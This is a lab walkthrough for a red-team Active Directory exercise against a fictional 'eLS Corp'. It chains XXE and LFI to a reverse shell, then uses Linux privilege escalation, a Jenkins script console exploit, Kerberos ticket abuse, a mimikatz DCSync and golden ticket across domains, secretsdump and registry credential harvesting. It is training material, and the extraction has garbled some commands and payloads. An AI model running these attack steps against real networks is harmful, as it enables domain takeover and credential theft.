Red-Teaming Active Directory Lab #3 (ELS - CORP) (Attack Path 2)
Red-Teaming Active Directory Lab #3 (ELS - CORP) (Attack Path 2)
CORP)
(Attack Path 2)
1
Contents
1 Web Server Attack Path (Path 2) 2
1.1 Prod-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 OPS-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.3 ELS-CHILDDC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.4 ELS-DC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
1.5 MGMT-DC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.6 JUMP-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
1.7 Admin-SYS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Scenario
You have been asked to execute a (black-box) red teaming exercise against eLS Corp (including any
related/trusted forest). The letter of engagement has specified:
1. The ADMIN-SYS system as the crown jewel. This means that the ultimate goal of this red teaming
exercise is to obtain access to the ADMIN-SYS system.
2. That during this exercise, the web application hosted on 172.16.250.2 is included in the scope and
you can exploit it to gain initial foothold
3. The mail server hosted on 172.16.250.2 is out of scope and should not be touched
4. That the pentesters’ network range is 172.16.25.0/24 and a static route has been configured so that
pentesters can access the 172.16.250.0/24 network range, where eLS Corp assets exist
5. For any cracking activities use the /usr/share/wordlists/rockyou.txt wordlist, included in latest Kali’s
Hints
Refer to the attack path diagram of page 1 only when you are out of options.
2
1 Prod-SRV Server
Scanning the accessible IP range from the scope of engagement provides us with two possible entry
points both residing on the “172.16.250.2” IP. Specifically, scanning the TCP ports of 172.16.250.2 tells us
that an SMTP server and a web application are running on TCP ports 25 and 80. According to the letter of
engagement, the SMTP server is out of scope.
Accessing port 80 through a web browser reveals that a web service is running with a login/registration
functionality.
3
Registering and checking the request and response from the portal suggests that XML technology is used
to transfer information from the client to the server. Let’s check if the portal is vulnerable to XML
External Entity (XXE) attacks.
Using the following payload after capturing the request in the web portal leads to internal file disclosure.
< root >< name > &ab; </name >< tel >\ Y </tel >< email > yb@sq. co </email >< password > aw </password ></𝑟𝑜𝑜𝑡>
Through internal file disclosing, sensitive information can easily be obtained (through the XXE
vulnerability). For now, we will look for the “/etc/passwd” file.
4
A local user named “prod-admin” is clearly visible in the “/etc/passwd” file, let’s enumerate more to see if
we can gain some more information about the discovered user.
Looking at the “.bash_history” file of the “prod-admin” user, another internal file is disclosed which
cannot be obtained via directory brute-forcing.
< 𝑟𝑜𝑜𝑡 >< 𝑛𝑎𝑚𝑒 > &𝑎𝑏; </𝑛𝑎𝑚𝑒 >< 𝑡𝑒𝑙 > 𝑎𝑠𝑎 </𝑡𝑒𝑙 >< 𝑒𝑚𝑎𝑖𝑙 > 𝑞𝑤𝑒 </𝑒𝑚𝑎𝑖𝑙 >< 𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 > 𝑞𝑤 </𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 ></𝑟𝑜𝑜𝑡 >
<Result>
</Result>
The interesting internal files disclosed are located at ‘/var/www/html/Lab-User.php’ and ‘/var/www/Lab-
Admin.php’.
5
However, we cannot read the files directly, we will use php filter as our workaround to disclose file
contents in base64 format and then convert it to a readable format.
Copy the Base64 string from the response body of Burp Suite and then use the following command to read
the contents in a readable format.
6
𝑒𝑐ℎ𝑜 “𝑏𝑎𝑠𝑒64_𝑓𝑜𝑟𝑚𝑎𝑡” | 𝑏𝑎𝑠𝑒64 − 𝑑
From the file “/var/www/html/Lab-User.php” an input parameter “page” is disclosed which can be used
to include files as parameters in the URL.
Similarly, the content of the “/var/www/Lab-Admin.php” file can also be viewed using the PHP filter.
This means that the file “Lab-User.php” can be used to include another file and the “Lab-Admin.php”
file can be used to execute commands.
7
We have successfully exploited the portal through the below vulnerability chain:
Next step would be to establish a stable reverse shell leveraging RCE for initial access. Use the
following command to get a reverse shell from the “Prod-SRV” server.
Final URL for reverse shell (change your attacking machine IP & TCP port):
𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑎𝑛𝑑𝑙𝑒𝑟
𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑 𝑐𝑚𝑑/𝑢𝑛𝑖𝑥/𝑟𝑒𝑣𝑒𝑟𝑠𝑒_𝑝𝑦𝑡ℎ𝑜𝑛
𝑠𝑒𝑡 𝐿𝐻𝑂𝑆𝑇 < 𝑎𝑡𝑡𝑎𝑐𝑘𝑖𝑛𝑔_𝐼𝑃 >
𝑠𝑒𝑡 𝐿𝑃𝑂𝑅𝑇 < 𝑙𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑝𝑜𝑟𝑡 >
𝑟𝑢𝑛 − 𝑗
8
Neat! We have a shell with ‘www-data’ privileges. Upgrade the session to stable meterpreter
session.
For privilege escalation, “www-data” user can execute “sudo” with “vi” as prod-admin user, this can
be checked & abused as follows:
𝑠ℎ𝑒𝑙𝑙
𝑝𝑦𝑡ℎ𝑜𝑛 − 𝑐 “𝑖𝑚𝑝𝑜𝑟𝑡 𝑝𝑡𝑦; 𝑝𝑡𝑦. 𝑠𝑝𝑎𝑤𝑛(‘/𝑏𝑖𝑛/𝑏𝑎𝑠ℎ’); ”
𝑠𝑢𝑑𝑜 − 𝑙
𝑈𝑠𝑒𝑟 𝑤𝑤𝑤 − 𝑑𝑎𝑡𝑎 𝑚𝑎𝑦 𝑟𝑢𝑛 𝑡ℎ𝑒 𝑓𝑜𝑙𝑙𝑜𝑤𝑖𝑛𝑔 𝑐𝑜𝑚𝑚𝑎𝑛𝑑𝑠 𝑜𝑛 𝑃𝑟𝑜𝑑 − 𝑆𝑟𝑣:
(𝒑𝒓𝒐𝒅 − 𝒂𝒅𝒎𝒊𝒏) /𝒖𝒔𝒓/𝒃𝒊𝒏/𝒗𝒊, 𝑵𝑶𝑷𝑨𝑺𝑺𝑾𝑫: 𝑨𝑳𝑳
</𝑅𝑒𝑠𝑢𝑙𝑡 >
𝑃𝑟𝑒𝑠𝑠 “𝑬𝑺𝑪 +∶ ”
!/𝑏𝑖𝑛/𝑠ℎ
𝑏𝑎𝑠ℎ − 𝑖
𝑤ℎ𝑜𝑎𝑚𝑖
<𝑅𝑒𝑠𝑢𝑙𝑡 >
𝑷𝒓𝒐𝒅 − 𝒂𝒅𝒎𝒊𝒏
</𝑅𝑒𝑠𝑢𝑙𝑡 >
9
Escalated to “prod-admin” user.
However, to move forward we need an internal IP address. Interestingly enough, this machine does
not have another interface. If you recall, during enumeration we found that the “.bash_history” of
the prod-admin user contains links to some log files.
With the discovered “10.10.2.4” IP address we will add a route to the “10.10.2.0/24” network and
start a socks server.
10
On meterpreter prompt
𝑢𝑠𝑒 𝑎𝑢𝑥𝑖𝑙𝑖𝑎𝑟𝑦/𝑠𝑒𝑟𝑣𝑒𝑟/𝑠𝑜𝑐𝑘𝑠4𝑎
𝑠ℎ𝑜𝑤 𝑜𝑝𝑡𝑖𝑜𝑛𝑠
𝑠𝑒𝑡 𝑆𝑅𝑉𝐻𝑂𝑆𝑇 172.16.25. 𝑥
𝑠𝑒𝑡 𝑆𝑅𝑉𝑃𝑂𝑅𝑇 < 𝑙𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑝𝑜𝑟𝑡 >
𝑟𝑢𝑛 − 𝑗
Modify /etc/proxychains.conf
Now, we will scan the TCP ports of the discovered IP address “10.10.2.4”.
11
2 OPS-SRV Server
Leveraging the route to the “10.10.2.0/24” network and scanning TCP ports using proxychains
reveals that a web server is running on 8080.
Open Firefox (or any web browser) with proxychains and point the browser to port 8080 of 10.10.2.4
URL: http://10.10.2.4:8080
A Jenkins server is running with guessable credentials. Specifically, “admin/admin” is a valid set of
username/password.
After authentication, it is found that the ‘admin’ user has view-only rights. Browsing straight to the
credentials store, clear text credentials of “Jenkins-admin” can be been found.
12
Browse to:
http://10.10.2.4:8080
Authenticate with:
𝑎𝑑𝑚𝑖𝑛/𝑎𝑑𝑚𝑖𝑛
We can establish a shell with the “ops-srv” machine by building and executing a malicious task. In
order to do so we will use Metasploit’s “jenkins_script_console” module.
Configure Exploit:
𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑡𝑡𝑝/𝑗𝑒𝑛𝑘𝑖𝑛𝑠_𝑠𝑐𝑟𝑖𝑝𝑡_𝑐𝑜𝑛𝑠𝑜𝑙𝑒
𝑠𝑒𝑡 𝑡𝑎𝑟𝑔𝑒𝑡 1
𝑠𝑒𝑡 𝑇𝐴𝑅𝐺𝐸𝑇𝑈𝑅𝐼 /
𝑠𝑒𝑡 𝑅𝑃𝑂𝑅𝑇 8080
𝑠𝑒𝑡 𝑈𝑆𝐸𝑅𝑁𝐴𝑀𝐸 𝑗𝑒𝑛𝑘𝑖𝑛𝑠 − 𝑎𝑑𝑚𝑖𝑛
𝑠𝑒𝑡 𝑃𝐴𝑆𝑆𝑊𝑂𝑅𝐷 𝐴𝑑𝑚! 𝑛@𝐽3𝑛𝑘! 𝑛𝑠
Configure Payload:
run
13
Executing the module results in a bind shell on “OPS-SRV” server.
Interestingly, this machine is domain joined which can be confirmed through the presence of a
‘/etc/krb5.conf’ file or successful execution of the command “kinit -k host/$(hostname -f)”.
With access to the “OPS-SRV” machine we will look for any credentials/tickets that can move us
forward. After enumeration, a keytab file is located at “/var/lib/jenkins/support.keytab”.
But there is a problem… We do not have access to the keytab file because it is owned by another user
‘opsadmin’. We need to somehow become opsadmin or get his privileges.
Hopefully, during some priv-esc enumeration, a file named “find” was found located at
“/var/lib/jenkins/find” which has SUID bit set.
/𝑣𝑎𝑟/𝑙𝑖𝑏/𝑗𝑒𝑛𝑘𝑖𝑛𝑠/𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏
Escalate to “opsadmin” user and request a new TGT for support user, as follows.
𝑙𝑠 − 𝑙𝑎 /𝑣𝑎𝑟/𝑙𝑖𝑏/𝑗𝑒𝑛𝑘𝑖𝑛𝑠/𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏
15
Now, with enough permissions a TGT related to the “support” domain user can be easily obtained. Let
us now request a CIFS ticket for the “support” user, as follows.
To request a CIFS ticket, use the following and export it back to your attacking machine.
Request for CIFS Ticket for support user (On OPS-SRV machine):
𝑘𝑣𝑛𝑜 𝑐𝑖𝑓𝑠/\𝐸𝐿𝑆 − 𝐶𝐻𝐼𝐿𝐷𝐷𝐶
Copy base64 data and decode in attacker system (On Attacker Machine):
𝑏𝑎𝑠𝑒64 − 𝑑 𝑎𝑏. 𝑡𝑥𝑡 > /𝑡𝑚𝑝/𝑘𝑟𝑏5𝑐𝑐_123
Transferring the ticket using the base64 method and importing it to current environment variable.
16
3 CHILD-DC Server
Since we have successfully imported a CIFS ticket related to ELS-CHILDDC in our attacking machine,
we can connect to the “ELS-CHILDDC” Domain Controller using the ticket. Also, our meterpreter has
a route to the “10.10.2.0/24” network.
For that we will use impacket’s psexec script, but first we need to add the IP address of ELS-CHILDDC
in our hosts file.
In short, we are passing the CIFS ticket to the ELS-CHILDDC server from our attacking machine.
This will result in a successful and stable session on the ‘ELS-CHILDDC’ Domain Controller.
17
We will also use the “PROD-SRV” server to transfer payload from one end to another. Via the meterpreter
session on the ‘PROD-SRV’ server upload “Mimikatz.exe” and from that download the file to “ELS-
CHILDDC” server.
𝑠ℎ𝑒𝑙𝑙
𝑐𝑑 /𝑡𝑚𝑝/
𝑙𝑠 − 𝑙𝑎 𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒
𝑝𝑦𝑡ℎ𝑜𝑛 − 𝑚 𝑆𝑖𝑚𝑝𝑙𝑒𝐻𝑇𝑇𝑃𝑆𝑒𝑟𝑣𝑒𝑟 8888
Upload Mimikatz.exe:
18
Start Python server on “PROD-SRV” server: -
Our payload is successfully transferred to Child Domain Controller. Now let us forge a golden ticket to
escalate to Enterprise Admins of the parent domain.
To extract the krbtgt NTLM hash of the “els-childdc” domain, we will perform a DCSync attack.
𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒
𝑙𝑠𝑎𝑑𝑢𝑚𝑝: : 𝑑𝑐𝑠𝑦𝑛𝑐 /𝑢𝑠𝑒𝑟: 𝑒𝑙𝑠 − 𝑐ℎ𝑖𝑙𝑑\𝑘𝑟𝑏𝑡𝑔𝑡
<Result>
𝟐𝟎𝟏𝟕𝒇𝟑𝟖𝒇𝟖𝟗𝟕𝒃𝟏𝟒𝟑𝟖𝒆𝟒𝟗𝟑𝒆𝟐𝒆𝒆𝟓𝟖𝒅𝒃𝟗𝟖𝒄𝟎
</Result>
19
See below the extracted NTLM Hash of ‘krbtgt’ from the child domain controller. The SID of the child
domain can be extracted from the result (without RID part).
To enumerate the parent SID value, we can use the Active Directory module already present at the domain
controller.
𝑝𝑜𝑤𝑒𝑟𝑠ℎ𝑒𝑙𝑙
𝐼𝑚𝑝𝑜𝑟𝑡 − 𝑀𝑜𝑑𝑢𝑙𝑒 𝐴𝑐𝑡𝑖𝑣𝑒𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦
Enumerate Domains present in the Forest (most importantly SID value of parent domain):
𝐺𝑒𝑡 − 𝐴𝐷𝐷𝑜𝑚𝑎𝑖𝑛
𝐺𝑒𝑡 − 𝐴𝐷𝐹𝑜𝑟𝑒𝑠𝑡
𝐺𝑒𝑡 − 𝐴𝐷𝐷𝑜𝑚𝑎𝑖𝑛 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝 (𝑓𝑜𝑟 𝑠𝑖𝑑 𝑜𝑓 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝)
20
We have collected all the info needed to perform a golden ticket attack and cross the domain boundary.
Let’s use Mimikatz.exe functionality to create and pass a golden ticket.
𝑘𝑒𝑟𝑏𝑒𝑟𝑜𝑠: : 𝑔𝑜𝑙𝑑𝑒𝑛 /𝑢𝑠𝑒𝑟: 𝑒𝑙𝑠 − 𝑎𝑑𝑚𝑖𝑛 /𝑑𝑜𝑚𝑎𝑖𝑛: 𝑒𝑙𝑠 − 𝑐ℎ𝑖𝑙𝑑. 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝 /𝑠𝑖𝑑: 𝑆 − 1 − 5 − 21 − 3883140795 − 789752816 −
1587902789 /𝑘𝑟𝑏𝑡𝑔𝑡: 𝟐𝟎𝟏𝟕𝒇𝟑𝟖𝒇𝟖𝟗𝟕𝒃𝟏𝟒𝟑𝟖𝒆𝟒𝟗𝟑𝒆𝟐𝒆𝒆𝟓𝟖𝒅𝒃𝟗𝟖𝒄𝟎 /𝑠𝑖𝑑𝑠: 𝑆 − 1 − 5 − 21 − 286056459 − 1157968049 − 2884264478 − 519
/𝑡𝑖𝑐𝑘𝑒𝑡: 𝑡𝑖𝑐𝑘𝑒𝑡. 𝑘𝑖𝑟𝑏𝑖
Golden Ticket:
21
Passing the ticket in active Kerberos session:
To check if the ticket is successfully passed or not, one can always use the ‘klist’ command. Now, we can access
resources of the parent domain and request any service ticket.
We will also extract the NTLM hash of the Enterprise Administrator of “els.corp” domain (found previously
during enumeration activities) using mimikatz.exe
22
4 ELS-DC Server
With the credentials of “els-admin” enterprise admin, we can perform psexec on the parent DC server.
Let’s now use the Active-Directory module to perform some enumeration (for abusing a cross-forest trust
later on). Switch to PowerShell and load the AD module to enumerate a forest trust.
23
Another domain “mgmt.corp” having a bi-directional trust has been identified in the above result. A Foreign
Security Principal can indirectly be used to abuse the cross-forest trust. Let’s enumerate FSP’s available on
the identified domain “mgmt.corp”.
A Foreign Security Principal is available on the “mgmt.corp” domain, this means a user in the current domain
“els.corp” is present in the target “mgmt.corp” domain:
24
Identify User:
𝐺𝑒𝑡 − 𝐴𝐷𝐺𝑟𝑜𝑢𝑝 − 𝐹𝑖𝑙𝑡𝑒𝑟 ∗ −𝑃𝑟𝑜𝑝𝑒𝑟𝑡𝑖𝑒𝑠 𝑀𝑒𝑚𝑏𝑒𝑟 − 𝑠𝑒𝑟𝑣𝑒𝑟 𝑚𝑔𝑚𝑡. 𝑐𝑜𝑟𝑝 | ? {$_. 𝑀𝑒𝑚𝑏𝑒𝑟 − 𝑚𝑎𝑡𝑐ℎ ′𝑆 − 1 − 5 − 21
− 3658202825 − 2428483480 − 107650130 − 1107′}
It comes out that ‘forest_user’ is added to local administrators of the ‘mgmt.corp’ domain.
Now, we need to extract the credentials of ‘forest_user’ and then we will perform PTH to the “mgmt.corp”
domain.
<Result>
</Result>
25
Credentials of “forest_user” are extracted as follows:
We will now perform psexec against the ‘mgmt-DC’ server. The IP address of mgmt.corp domain can be
enumerated using a simple DNS query (i.e nslookup mgmt.corp).
26
5 MGMT-DC Server
Using “forest_user” we can establish a persistent connection using impacket’s psexec script since it is a
member of local administrators in the mgmt.corp domain.
Switch to PowerShell
We will also use the Active Directory Module present in the server to list any OU present in the MGMT-
DC and all the members present in the available OU’s.
27
The Domain user “Jump-Admin” present in the “Bastion-Host” OU can be useful in moving forward from
the MGMT-DC server. The IP address of “jump-srv” server can be enumerated by actively querying the
DNS record.
<..SNIP..>
Name: jump-srv.mgmt.corp
IP Address: 10.10.3.3
<../SNIP..>
However, we will extract all the credentials present in the MGMT.CORP domain leveraging impacket’s
sercretsdump.py script.
On a new bash prompt using our route to internal network [10.10.3.0/24], we will execute secretsdump.py
as follows:
[..SNIP..]
[..SNIP..]
Crack the “jump-admin” hash using JTR [John] by storing the NT hash in a file.
28
The hash is cracked and we now have clear text credentials of the “jump-admin” user at the “Jump-
Admin” machine.
29
6 Jump-Srv
Let’s perform a TCP port scan against the target 10.10.3.3 [jump-srv.mgmt.corp] using nmap and
leveraging the route to the 10.10.3.0/24 network.
With meterpreter active route to “10.10.3.0/24” network & on new bash shell
<..SNIP..>
<..SNIP..>
SSH server is running on TCP port 22. As ‘jump-srv.mgmt.corp’ machine is managed by “jump-
admin”, we can try to do SSH to ‘10.10.3.3’ machine using Jump-Admin Domain user.
30
Let’s also extract the bookmark URLs of Firefox in this machine and look if any interesting information can
be found (as jump-admin user).
Inside SQLite
. 𝑡𝑎𝑏𝑙𝑒𝑠
𝑠𝑒𝑙𝑒𝑐𝑡 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠. 𝑢𝑟𝑙 𝑓𝑟𝑜𝑚 𝑚𝑜𝑧_𝑝𝑙𝑎𝑐𝑒𝑠;
. 𝑞𝑢𝑖𝑡
𝑓𝑜𝑢𝑛𝑑 𝑈𝑅𝐿: 𝒉𝒕𝒕𝒑𝒔://𝒂𝒅𝒎𝒊𝒏 − 𝒔𝒚𝒔. 𝒔𝒊𝒕𝒆/𝒍𝒐𝒈𝒊𝒏. 𝒂𝒔𝒑? 𝒖𝒔𝒆𝒓 = 𝒔𝒚𝒔 − 𝒂𝒅𝒎𝒊𝒏&𝒑𝒂𝒔𝒔 = 𝑹𝒂𝒏𝒅𝟎𝒎𝒍𝒚𝑺𝟑𝒍𝟑𝒄𝒕𝒆𝒅𝑷@𝒔𝒔
However, using firefox with proxychains querying the login URL, shows that it is non-existent, Now
enumerate the IP address of admin-sys server by pinging the URL.
Performing TCP port scan on the target “192.168.1.2” reveals that the 5985 port is open, which means
one can always do PowerShell Remoting.
31
7 Admin-SYS
In order to perform PowerShell Remoting, we need to apply some port forwarding techniques.
Exit the SSH session and re-establish a new session with port forwarding switches.
Using port forwarding, we are specifying that all the traffic sent locally will be forwarded to the
‘admin-sys’ server [192.168.1.2]
(Now at this very particular point, traffic from your attacker machine can reach the admin-sys machine)
Enumerating the environment reveals that “sys-admin” is a local user at the admin-sys server.
Privilege escalation can be done by querying the autologin registry.
32
On the recently established WinRM session
<..SNIP..>
𝐻𝐾𝐸𝑌_𝐿𝑂𝐶𝐴𝐿_𝑀𝐴𝐶𝐻𝐼𝑁𝐸\𝑆𝑂𝐹𝑇𝑊𝐴𝑅𝐸\𝑀𝑖𝑐𝑟𝑜𝑠𝑜𝑓𝑡\𝑊𝑖𝑛𝑑𝑜𝑤𝑠 𝑁𝑇\𝐶𝑢𝑟𝑟𝑒𝑛𝑡𝑣𝑒𝑟𝑠𝑖𝑜𝑛\𝑊𝑖𝑛𝑙𝑜𝑔𝑜𝑛
𝐴𝑢𝑡𝑜𝑅𝑒𝑠𝑡𝑎𝑟𝑡𝑆ℎ𝑒𝑙𝑙 𝑅𝐸𝐺_𝐷𝑊𝑂𝑅𝐷 0𝑥1
𝐵𝑎𝑐𝑘𝑔𝑟𝑜𝑢𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 0 0 0
𝐶𝑎𝑐ℎ𝑒𝑑𝐿𝑜𝑔𝑜𝑛𝑠𝐶𝑜𝑢𝑛𝑡 𝑅𝐸𝐺_𝑆𝑍 10
𝐷𝑒𝑏𝑢𝑔𝑆𝑒𝑟𝑣𝑒𝑟𝐶𝑜𝑚𝑚𝑎𝑛𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑛𝑜
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑈𝑠𝑒𝑟𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑨𝒅𝒎𝒊𝒏𝒊𝒔𝒕𝒓𝒂𝒕𝒐𝒓
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝐷𝑜𝑚𝑎𝑖𝑛𝑁𝑎𝑚𝑒 𝑅𝐸𝐺_𝑆𝑍 𝑊𝐼𝑁 − 10 − 𝑃𝑅𝑂 − 𝑋64
𝐴𝑢𝑡𝑜𝐴𝑑𝑚𝑖𝑛𝐿𝑜𝑔𝑜𝑛 𝑅𝐸𝐺_𝑆𝑍 1
𝐷𝑒𝑓𝑎𝑢𝑙𝑡𝑃𝑎𝑠𝑠𝑤𝑜𝑟𝑑 𝑅𝐸𝐺_𝑆𝑍 𝑻𝒆𝒔𝒕@𝟏𝟐𝟑
<..SNIP..>
<Result>
<3
</Result>
Congratulations!!
33